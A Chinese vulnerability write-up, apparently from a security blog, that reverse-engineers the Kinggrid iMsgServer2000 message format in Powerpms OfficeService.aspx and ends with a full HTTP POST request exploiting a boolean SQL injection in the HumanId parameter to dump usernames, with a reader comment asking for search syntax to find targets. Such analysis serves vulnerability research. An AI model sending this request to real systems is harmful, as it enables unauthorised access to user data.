普华Powerpms OfficeService.aspx 金格组件payload分析+SQL注入漏洞


在页面初始位置就加载了

protected void Page_Load(object sender, EventArgs e)
{
  PowerGlobal.CheckSecurity(this.Request);
  iMsgServer2000 iMsgServer2000 = new iMsgServer2000();

iMsgServer2000 非常熟悉的金格组件标志,之前在java相关应用上分析过java版本的,跟进看下C#版本的有啥不一样

定义一些默认常量,再往下看

public iMsgServer2000()
{
  this.FMsgText = "";
  this.FError = "";
  this.FVersion = this.VERSION;
  try
  {
    this.FTempName = Path.GetTempFileName();
    this.FMsgFile = new FileStream(this.FTempName, (FileMode) 4);
  }
  catch
  {
  }
  this.Charset = "GB2312";
}

~iMsgServer2000()
{
  try
  {
    ((Stream) this.FMsgFile).Close();
    if (string.Compare(this.FMsgFile.Name, this.FTempName) != 0)
      return;
    this.DelFile(this.FTempName);
  }
  catch
  {
  }
  finally
  {
    base.Finalize();
  }
}

private string FormatHead(string vString)
{
  if (vString.Length > 16 /*0x10*/)
    return vString.Substring(0, 16 /*0x10*/);
  for (int index = vString.Length + 1; index < 17; ++index)
    vString += " ";
  return vString;
}

定义了消息头的格式化方式,如果超过16字节就截取前16字节.

再看下剩下的消息格式

private byte[] MsgToStream(byte[] mStream)
{
  int num1 = 64 /*0x40*/;
  int num2 = 0;
  int length1 = 1024 /*0x0400*/ * this.BuffSize;
  byte[] numArray = new byte[length1];
  try
  {
    int num3 = 0;
    int length2 = this.StringToByte(this.FMsgText).GetLength(0);
    int length3 = this.StringToByte(this.FError).GetLength(0);
    this.FFileSize = (int) ((Stream) this.FMsgFile).Length;
    int ffileSize = this.FFileSize;
    mStream = new byte[num1 + length2 + length3 + ffileSize];
    MemoryStream memoryStream = new MemoryStream(mStream);
    string vString = this.FormatHead(this.FVersion) + this.FormatHead(length2.ToString()) + this.FormatHead(length3.ToString()) + this.FormatHead(ffileSize.ToString());
    ((Stream) memoryStream).Write(this.StringToByte(vString), 0, num1);
    int num4 = num3 + num1;
    if (length2 > 0)
      ((Stream) memoryStream).Write(this.StringToByte(this.FMsgText), 0, length2);
    int num5 = num4 + length2;
    if (length3 > 0)
      ((Stream) memoryStream).Write(this.StringToByte(this.FError), 0, length3);
    int num6 = num5 + length3;
    if (ffileSize > 0)
    {
      ((Stream) this.FMsgFile).Seek(0L, (SeekOrigin) 0);
      int length4 = length1;
      for (; ffileSize > 0; ffileSize -= length4)
      {
        if (ffileSize - length1 < length1)
        {
          length4 = ffileSize;
          numArray = new byte[length4];
        }
        int num7 = 0;
        while (num7 < length4)
          num7 += ((Stream) this.FMsgFile).Read(numArray, num7, length4 - num7);
        ((Stream) memoryStream).Write(numArray, 0, length4);
      }
    }
    num2 = num6 + ffileSize;
    ((Stream) memoryStream).Close();
    return mStream;
  }
  catch (Exception ex)
  {
    this.FError += ex.ToString();
    return (byte[]) null;
  }
}

其中vString的定义消息头的组成部分由四个部分组成(版本、消息文本、错误信息、文件内容):

  • 整个mStream的结构:头部(64字节) + 消息文本(length2字节) + 错误信息(length3字节) + 文件内容(ffileSize字节)。
  1. 第一部分:this.FormatHead(this.FVersion)
    1. 来源:this.FVersion,这是类的版本字符串,默认值为"DBSTEP V3.0"(在类中定义为private string VERSION = "DBSTEP V3.0"; 并在构造函数中赋值this.FVersion = this.VERSION;)。
    2. 处理:通过FormatHead格式化为正好16字符。
      • 原字符串长度:11("DBSTEP V3.0")。
      • 格式化后:"DBSTEP V3.0 "(末尾补5个空格,使总长16)。
    3. 作用:表示消息的版本信息,用于接收端验证兼容性。
    4. 长度:固定16字符。
  2. 第二部分:this.FormatHead(length2.ToString())
    1. 来源:length2,这是FMsgText(消息文本)的字节长度。
      • FMsgText是类的私有字段,默认空字符串(构造函数中this.FMsgText = "";)。
      • length2 = this.StringToByte(this.FMsgText).GetLength(0);:将FMsgText转换为字节数组,并获取其长度(取决于编码,如GB2312)。
      • 示例:如果FMsgText为空,length2 = 0,则length2.ToString() = "0"。
    2. 处理:通过FormatHead格式化为正好16字符。
      • 示例:如果length2 = 0,格式化后:"0 "(补15个空格)。
      • 如果length2 = 1024,则"1024 "(补12个空格)。
    3. 作用:表示后续消息文本的字节长度,便于接收端读取正确的数据块。
    4. 长度:固定16字符。
  3. 第三部分:this.FormatHead(length3.ToString())
    1. 来源:length3,这是FError(错误信息)的字节长度。
      • FError是类的私有字段,默认空字符串(构造函数中this.FError = "";)。
      • length3 = this.StringToByte(this.FError).GetLength(0);:类似length2,转换为字节后获取长度。
      • 示例:如果无错误,length3 = 0,则"0"。
    2. 处理:通过FormatHead格式化为正好16字符。
      • 示例:"0 "(补15个空格)。
    3. 作用:表示后续错误信息的字节长度。如果有错误,接收端可以读取并处理。
    4. 长度:固定16字符。
  4. 第四部分:this.FormatHead(ffileSize.ToString())
    1. 来源:ffileSize,这是文件内容的字节大小。
      • this.FFileSize = (int) ((Stream) this.FMsgFile).Length;:从文件流FMsgFile(临时文件)获取大小。
      • ffileSize = this.FFileSize;:复制值。
      • 示例:如果文件为空,ffileSize = 0。
    2. 处理:通过FormatHead格式化为正好16字符。
      • 示例:如果ffileSize = 0,格式化后:"0 "。
      • 如果ffileSize = 2048,则"2048 "。
    3. 作用:表示后续文件内容的字节长度,便于接收端读取文件数据块。
    4. 长度:固定16字符。

示例如下

DBSTEP V3.0     10              0               1024            

代表版本为系统默认的 DBSTEP V3.0+补充空格,一共16字节,余下每个部分亦如此,不再赘述.

再看下 iMsgServer2000.GetMsgByName 的实现

public string GetMsgByName(string FieldName)
{
  string msgByName = "";
  string str = FieldName + "=";
  int num1 = this.FMsgText.IndexOf(str);
  if (num1 == -1)
    return msgByName;
  int num2 = this.FMsgText.IndexOf("\r\n", num1 + 1);
  int num3 = num1 + str.Length;
  return num2 != -1 ? this.DecodeBase64(this.FMsgText.Substring(num3, num2 - num3)) : msgByName;
}

根据 FieldName 的值加上=后截取等号后至换行之间的内容作为值.

只需要注意其中第二部分的消息长度是计算消息头64字节之后到文件内容之前的部分长度,最后部分的文件长度需要加上消息的结尾的换行长度2.

举例如下图

其中135代表消息长度,由以下部分组成

换行的 123456 代表文件内容,其长度也是消息头的第四部分,即上图中的 8(文件内容本身长度6+上一部分的换行长度2)

再看下响应的部分

消息校验成功,输出也符合代码逻辑,响应里设置 MARKLIST 的值为 LoadMarkList 方法的结果

再跟进 LoadMarkList 方法

private string LoadMarkList(string user_id)
{
  StringBuilder stringBuilder = new StringBuilder();
  try
  {
    IBusinessOperate businessOperate = BusinessFactory.CreateBusinessOperate("HumanSign");
    if (string.IsNullOrEmpty(user_id))
      user_id = Guid.Empty.ToString();
    foreach (IBaseBusiness baseBusiness in (IEnumerable<IBaseBusiness>) businessOperate.FindAll("HumanId", (object) user_id))
    {

又是熟悉的 FindAll 方法,是存在SQL注入的,但是此处因为开头有 PowerGlobal.CheckSecurity 的校验

会检查是否存在SQL注入的一些特征

在看下 CheckSortSelect 方法

跟进 CheckWhere 方法

检测where语句后是否存在 一些特征,当存在时字节返回包含非法字符 -- 这种格式

如下图所示

那我们直接可以构造布尔注入达到获取数据的目的

POST /PowerPlat/FormXml/DocFile/OfficeService.aspx?HumanId=1'or+'1'='1 HTTP/1.1
Host: powerplat.mrxn.net
Content-Type: application/x-www-form-urlencoded

DBSTEP V3.0     135             0               8               DBSTEP=REJTVEVQ
OPTION=TE9BRE1BUktMSVNU
USERNAME=YWRtaW4=
TEMPLATE=dGVzdC50eHQ=
FILENAME=dGVzdC50eHQ=
RECORDID=dHh0
FILETYPE=dHh0
123456

对响应的MARKLIST的值进行base64解码

是可以获取到所有相关用户名


手机扫码阅读

2025如何将域名从namesilo转移到Cloudflare

汉王e脸通智慧园区管理平台最新版jar包解密浅析

评 论
avatar
ikun
要是来点fofa或者quake语法就好了
1 年前 回复
avatar
Mrxn
@ikun:网上有自行搜索
1 年前 回复